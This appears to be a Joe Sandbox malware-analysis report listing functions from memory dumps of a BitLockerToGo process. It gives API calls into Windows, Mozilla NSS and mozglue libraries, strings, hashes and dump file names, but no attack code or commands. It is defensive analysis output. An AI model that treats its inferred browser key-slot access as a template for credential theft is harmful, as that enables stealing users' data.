Opcode ID: c676a176ed21b1de28c457654bb47c058b226bfe40afd5bf98d34b4ccb2b149f
Instruction ID: 1254a80bcfa3088251a6d12a8b92f72d3fbc6391bfc38d5a1a497fb525291b1a
Opcode Fuzzy Hash: c676a176ed21b1de28c457654bb47c058b226bfe40afd5bf98d34b4ccb2b149f
Instruction Fuzzy Hash: FFE09A716053319BDB326BB28A0CB1A7BF9A75B21DF084535EA1592701FBB0D010CBB1

Function 6C8575B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C85748B,?), ref: 6C8575B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C8575D7
FreeLibrary.KERNEL32(?,6C85748B,?), ref: 6C8575EC

Strings

ntdll.dll, xrefs: 6C8575B3
RtlNtStatusToDosError, xrefs: 6C8575D1

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 8e53a052b63ad105b7041e3daa60ad3d350b9619d3646f0421c269a6e86e0e69
Instruction ID: eb21b092155d9db6cc59543da46ebcd9d531c45f6bce389bf1ee7b6cacb80270
Opcode Fuzzy Hash: 8e53a052b63ad105b7041e3daa60ad3d350b9619d3646f0421c269a6e86e0e69
Instruction Fuzzy Hash: 19E0E5B22003A1ABDB325BA2894C7193AF8EB5329CF00C435E90882700FBB89041CFB0

Function 6C90EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C90EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C90EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C90EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C90EEEB
free.MOZGLUE(?), ref: 6C90EEF6

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: fdc97da53799621a0c6120d20c4d066e35a13594e268dd3d90453b0d6104adb8
Instruction ID: dd58fce0ea965a952f2156d5af965d59149290ea6d5d88a7927736ef7802a8be
Opcode Fuzzy Hash: fdc97da53799621a0c6120d20c4d066e35a13594e268dd3d90453b0d6104adb8
Instruction Fuzzy Hash: DB313772B00319DBEB209F28CC447667BF8FB46305F14462CE99A87A50D731E855CBE1

Function 6C7FB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C7FB532
moz_xmalloc.MOZGLUE(?), ref: 6C7FB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C7FB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C7FB57E
free.MOZGLUE(00000000), ref: 6C7FB58F

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 05150207e4e53adcf7e57740a8077d62bd5afdcddbe953fe50a71f6ab74c4e8b
Instruction ID: 120b9d5d34843048136ce6891e50e42a69f8bfbab7b37ab80c7f4e34247fc54a
Opcode Fuzzy Hash: 05150207e4e53adcf7e57740a8077d62bd5afdcddbe953fe50a71f6ab74c4e8b
Instruction Fuzzy Hash: 4F21F871A04205DBDB018F69CD84B6EBBB9FF42308F284039E824DB341E775E912C7A1

Function 6C91AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C913FFF,00000000,?,?,?,?,?,6C911A1C,00000000,00000000), ref: 6C91ADA7

Part of subcall function 6C9714C0: TlsGetValue.KERNEL32 ref: 6C9714E0
Part of subcall function 6C9714C0: EnterCriticalSection.KERNEL32 ref: 6C9714F5
Part of subcall function 6C9714C0: PR_Unlock.NSS3 ref: 6C97150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C913FFF,00000000,?,?,?,?,?,6C911A1C,00000000,00000000), ref: 6C91ADB4

Part of subcall function 6C9710C0: TlsGetValue.KERNEL32(?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C9710F3
Part of subcall function 6C9710C0: EnterCriticalSection.KERNEL32(?,?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C97110C
Part of subcall function 6C9710C0: PL_ArenaAllocate.NSS3(?,?,?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C971141
Part of subcall function 6C9710C0: PR_Unlock.NSS3(?,?,?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C971182
Part of subcall function 6C9710C0: TlsGetValue.KERNEL32(?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C97119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C913FFF,?,?,?,?,6C913FFF,00000000,?,?,?,?,?,6C911A1C,00000000), ref: 6C91ADD5

Part of subcall function 6C96FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C968D2D,?,00000000,?), ref: 6C96FB85
Part of subcall function 6C96FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C96FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CA394B0,?,?,?,?,?,?,?,?,6C913FFF,00000000,?), ref: 6C91ADEC

Part of subcall function 6C96B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CA418D0,?), ref: 6C96B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C913FFF), ref: 6C91AE3C

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 2a91d0e4a008d814da67ed1c9f4746067c1a225c2dfc581e2951420212d47a59
Instruction ID: 4c6eb5ca33f9c3df2153467910b49df661f80c3ace56703b5fc278dcfe51ee4f
Opcode Fuzzy Hash: 2a91d0e4a008d814da67ed1c9f4746067c1a225c2dfc581e2951420212d47a59
Instruction Fuzzy Hash: BD112671E042196BF7109A659C52BBF73BCDFB124CF048228EC5996A41FB20E95D82A2

Function 6C938E80 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C952E62,?,?,?,?,?,?,?,00000000,?,?,?,6C924F1C), ref: 6C938EA2

Part of subcall function 6C95F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C95F854
Part of subcall function 6C95F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C95F868
Part of subcall function 6C95F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C95F882
Part of subcall function 6C95F820: free.MOZGLUE(04C483FF,?,?), ref: 6C95F889
Part of subcall function 6C95F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C95F8A4
Part of subcall function 6C95F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C95F8AB
Part of subcall function 6C95F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C95F8C9
Part of subcall function 6C95F820: free.MOZGLUE(280F10EC,?,?), ref: 6C95F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C952E62,?,?,?,?,?,?,?,00000000,?,?,?,6C924F1C), ref: 6C938EC3
TlsGetValue.KERNEL32(?,?,?,6C952E62,?,?,?,?,?,?,?,00000000,?,?,?,6C924F1C), ref: 6C938EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C952E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C938EF1
PR_Unlock.NSS3 ref: 6C938F20

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID:
API String ID: 1978757487-0
Opcode ID: 426efe848534f16d3cbf396d8464283d5b8111ea0e1551e33a5c68ac5fbf15e7
Instruction ID: 79f39155525d8f56ca3469228d4664e2013b142d5ec48617bdefb9357dfac8f9
Opcode Fuzzy Hash: 426efe848534f16d3cbf396d8464283d5b8111ea0e1551e33a5c68ac5fbf15e7
Instruction Fuzzy Hash: 51216D709097259BCB04AF29C4841A9BBF4BF48318F41956FE998D7B40DB34E864CBD5

Function 6C93CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C951E10: TlsGetValue.KERNEL32 ref: 6C951E36
Part of subcall function 6C951E10: EnterCriticalSection.KERNEL32(?,?,?,6C92B1EE,2404110F,?,?), ref: 6C951E4B
Part of subcall function 6C951E10: PR_Unlock.NSS3 ref: 6C951E76

free.MOZGLUE(?,6C93D079,00000000,00000001), ref: 6C93CDA5
PK11_FreeSymKey.NSS3(?,6C93D079,00000000,00000001), ref: 6C93CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C93D079,00000000,00000001), ref: 6C93CDCF
DeleteCriticalSection.KERNEL32(?,6C93D079,00000000,00000001), ref: 6C93CDE2
free.MOZGLUE(?), ref: 6C93CDE9

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 0fe7e8ec8ebec99cfc5fe79e9d74db6fa1b85698bf860e5c040a2e97f6fdb970
Instruction ID: 64be9784fa042b721682d23f800b69b3d4d7c8b6839c7127ef096992e2ec53a3
Opcode Fuzzy Hash: 0fe7e8ec8ebec99cfc5fe79e9d74db6fa1b85698bf860e5c040a2e97f6fdb970
Instruction Fuzzy Hash: 2D11A0B2B01636ABDF01AE66EC44AA6B76DFF1426D7104221F91D87E01E732E434C7E1

Function 6C9A2CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C9A5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C9A5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9A2CEC

Part of subcall function 6C9BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C9BC2BF

PR_EnterMonitor.NSS3(?), ref: 6C9A2D02
PR_EnterMonitor.NSS3(?), ref: 6C9A2D1F
PR_ExitMonitor.NSS3(?), ref: 6C9A2D42
PR_ExitMonitor.NSS3(?), ref: 6C9A2D5B

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 81d9c04def9023ed81daece0f990418b5cb9ac2da7536969a0685eccc10aa04c
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 590108B5A10A00ABE7309E6AFC40BD7B3B5EF61318F014535E85D96711D632F816C792

Function 6C9A2D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C9A5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C9A5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9A2D9C

Part of subcall function 6C9BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C9BC2BF

PR_EnterMonitor.NSS3(?), ref: 6C9A2DB2
PR_EnterMonitor.NSS3(?), ref: 6C9A2DCF
PR_ExitMonitor.NSS3(?), ref: 6C9A2DF2
PR_ExitMonitor.NSS3(?), ref: 6C9A2E0B

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 47406e1d01c6c627b6895533ce2d215cb7da3baddbecaa38b139cd1f2b73dc42
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 500104B5A00A00ABEB309E6AFC00BD7B3A5EF61318F014434E84D97B11D632F826C692

Function 6C93AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C923090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C93AE42), ref: 6C9230AA
Part of subcall function 6C923090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9230C7
Part of subcall function 6C923090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C9230E5
Part of subcall function 6C923090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C923116
Part of subcall function 6C923090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C92312B
Part of subcall function 6C923090: PK11_DestroyObject.NSS3(?,?), ref: 6C923154
Part of subcall function 6C923090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C92317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C9199FF,?,?,?,?,?,?,?,?,?,6C912D6B,?), ref: 6C93AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C9199FF,?,?,?,?,?,?,?,?,?,6C912D6B,?), ref: 6C93AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C912D6B,?,?,00000000), ref: 6C93AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C912D6B,?,?,00000000), ref: 6C93AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C912D6B,?,?), ref: 6C93AEA3

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: a27b3d2277900275f0b93e782e5c555682b4695a607629d8f029347e0e58464b
Instruction ID: cfbc183d731369e4019aaeae4178b5a5a47055000e0df58715a79cab30c10962
Opcode Fuzzy Hash: a27b3d2277900275f0b93e782e5c555682b4695a607629d8f029347e0e58464b
Instruction Fuzzy Hash: 6E01D166B1443057EB2191ECAC99AAB31588BA765CB081031E80EC7B81FB26DD0543A3

Function 6CA2ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CA2A6D8), ref: 6CA2AE0D
free.MOZGLUE(?), ref: 6CA2AE14
DeleteCriticalSection.KERNEL32(6CA2A6D8), ref: 6CA2AE36
free.MOZGLUE(?), ref: 6CA2AE3D
free.MOZGLUE(00000000,00000000,?,?,6CA2A6D8), ref: 6CA2AE47

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 980b8d6ddc094b039aa8dad91ab585d5fa65c2385d1c46db9fb897c6319ac188
Instruction ID: 80db66bf3bfa61816d73706661e980b23310b149f7311acf12295bec328ed1fb
Opcode Fuzzy Hash: 980b8d6ddc094b039aa8dad91ab585d5fa65c2385d1c46db9fb897c6319ac188
Instruction Fuzzy Hash: CEF0F6B5201B16ABCF049F69D8089277779BF867787184329E52A83940D739E513C7D1

Function 6C81D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C82CBE8: GetCurrentProcess.KERNEL32(?,6C7F31A7), ref: 6C82CBF1
Part of subcall function 6C82CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C7F31A7), ref: 6C82CBFA

EnterCriticalSection.KERNEL32(6C87E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C82D1C5), ref: 6C81D4F2
LeaveCriticalSection.KERNEL32(6C87E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C82D1C5), ref: 6C81D50B

Part of subcall function 6C7FCFE0: EnterCriticalSection.KERNEL32(6C87E784), ref: 6C7FCFF6
Part of subcall function 6C7FCFE0: LeaveCriticalSection.KERNEL32(6C87E784), ref: 6C7FD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C82D1C5), ref: 6C81D52E
EnterCriticalSection.KERNEL32(6C87E7DC), ref: 6C81D690
LeaveCriticalSection.KERNEL32(6C87E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C82D1C5), ref: 6C81D751

Strings

MOZ_CRASH(), xrefs: 6C81D4BB

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: e1206dc03a5a6169008dc6e7fb783f1fff7d57fcdb5b4d6e69ddaca2a5139944
Instruction ID: 47e816ca9e803762a5f3e404620943a745771fc68650ae1873cb260d32701b67
Opcode Fuzzy Hash: e1206dc03a5a6169008dc6e7fb783f1fff7d57fcdb5b4d6e69ddaca2a5139944
Instruction Fuzzy Hash: F751B171A087128FD735CF28C29476AB7E1EB89308F544E2ED559C7F45E774A840CBA1

Function 6C84B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7F4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C833EBD,6C833EBD,00000000), ref: 6C7F42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C84B127), ref: 6C84B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C84B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C84B4E4

Strings

pid:, xrefs: 6C84B4DE

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: abe79b4013cf78f987065a7d1a201615ab9ed9db63790d2d86b2ed279e8044c8
Instruction ID: c5ed005e413d1abd899575f70d970794e46f89d80575514758e21ce33caf974b
Opcode Fuzzy Hash: abe79b4013cf78f987065a7d1a201615ab9ed9db63790d2d86b2ed279e8044c8
Instruction Fuzzy Hash: 32311031A01A1C8FCB20DFA9DA84AFEB7B5BF45318F544D29D81167A41E731E849CBE1

Function 6C8A6C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C8A6D36

Strings

%s at line %d of [%.10s], xrefs: 6C8A6D2F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C8A6D20
database corruption, xrefs: 6C8A6D2A

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: be7300625078fff3916dfad94f6982fed7af0e56c0f56f8017d39abc535bf911
